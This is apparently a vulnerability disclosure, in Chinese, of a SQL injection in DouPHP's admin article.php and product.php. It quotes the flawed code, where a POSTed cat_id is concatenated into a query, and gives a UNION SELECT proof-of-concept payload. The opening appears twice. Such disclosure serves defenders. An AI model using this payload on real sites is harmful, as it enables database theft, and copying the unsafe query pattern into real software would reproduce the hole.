### 简要描述: DouPHP 功能简单,因此防御起来比较容易,使用全局过滤很好的避免了问题,不过还是存在不严谨的地方。 挖洞不易啊- - ### 详细说明: 在文件\www\admin\article.php中: ``` /** * +---------------------------------------------------------- * 文章列表 * +---------------------------------------------------------- */ if ($rec == 'default') { $smarty->assign('ur_here', $_LANG['article']); $smarty->assign('action_link', array ( 'text' => $_LANG['article_add'], 'href' => 'article.php?rec=add' )); // 验证并获取合法的分类ID $cat_id = $check->is_number($_REQUEST['cat_id']) ? $_REQUEST['cat_id'] : (isset($_POST['cat_id']) ? $_POST['cat_id'] : ''); //这里的逻辑好像有点奇怪,判断了是否是数字,后一步直接带入了$_POST的数据 $keyword = isset($_POST['keyword']) ? trim($_POST['keyword']) : ''; if ($cat_id) { $child_id = $dou->dou_child_id($dou->fetch_array_all('article_category'), $cat_id); $where = " cat_id IN (" . $cat_id . $child_id . ") "; //存在就拼接了,而且这里是数字类型输入,所以无视了firewall文件的全局过滤。 } if ($cat_id && $keyword) $where .= 'AND'; if ($keyword) $where .= " title LIKE '%$keyword%' "; $where = $where ? '...
### 简要描述: DouPHP 功能简单,因此防御起来比较容易,使用全局过滤很好的避免了问题,不过还是存在不严谨的地方。 挖洞不易啊- - ### 详细说明: 在文件\www\admin\article.php中: ``` /** * +---------------------------------------------------------- * 文章列表 * +---------------------------------------------------------- */ if ($rec == 'default') { $smarty->assign('ur_here', $_LANG['article']); $smarty->assign('action_link', array ( 'text' => $_LANG['article_add'], 'href' => 'article.php?rec=add' )); // 验证并获取合法的分类ID $cat_id = $check->is_number($_REQUEST['cat_id']) ? $_REQUEST['cat_id'] : (isset($_POST['cat_id']) ? $_POST['cat_id'] : ''); //这里的逻辑好像有点奇怪,判断了是否是数字,后一步直接带入了$_POST的数据 $keyword = isset($_POST['keyword']) ? trim($_POST['keyword']) : ''; if ($cat_id) { $child_id = $dou->dou_child_id($dou->fetch_array_all('article_category'), $cat_id); $where = " cat_id IN (" . $cat_id . $child_id . ") "; //存在就拼接了,而且这里是数字类型输入,所以无视了firewall文件的全局过滤。 } if ($cat_id && $keyword) $where .= 'AND'; if ($keyword) $where .= " title LIKE '%$keyword%' "; $where = $where ? ' WHERE' . $where : ''; // 验证并获取合法的分页ID $page = $check->is_number($_REQUEST['page']) ? $_REQUEST['page'] : 1; $limit = $dou->pager('article', 15, $page, $cat_id); $sql = "SELECT id, title, cat_id, image, add_time FROM " . $dou->table('article') . $where . "ORDER BY id DESC" . $limit; //这里带入了语句查询 $query = $dou->query($sql); //这里!!!!!执行了 while ($row = $dou->fetch_array($query)) { $cat_name = $dou->get_one("SELECT cat_name FROM " . $dou->table('article_category') . " WHERE cat_id = '$row[cat_id]'"); $add_time = date("Y-m-d", $row['add_time']); $article_list[] = array ( "id" => $row['id'], "cat_id" => $row['cat_id'], "cat_name" => $cat_name, "title" => $row['title'], "image" => $row['image'], "add_time" => $add_time ); } ``` 在www\admin\product.php文件中同样存在问题,由于代码类似就不贴了。 ### 漏洞证明: 由于这两个地方都属于完全未过滤,且存在显示位。注入很容易。 post提交: cat_id=2) union all select 1,user(),3,4,5-- 1 [<img src="https://images.seebug.org/upload/201409/281824420bba48612b6f5a1ef573125d137ff850.png" alt="4444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/281824420bba48612b6f5a1ef573125d137ff850.png) [<img src="https://images.seebug.org/upload/201409/2818251128844b4065c9f48eba9cef46dc718bd3.png" alt="55555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/2818251128844b4065c9f48eba9cef46dc718bd3.png)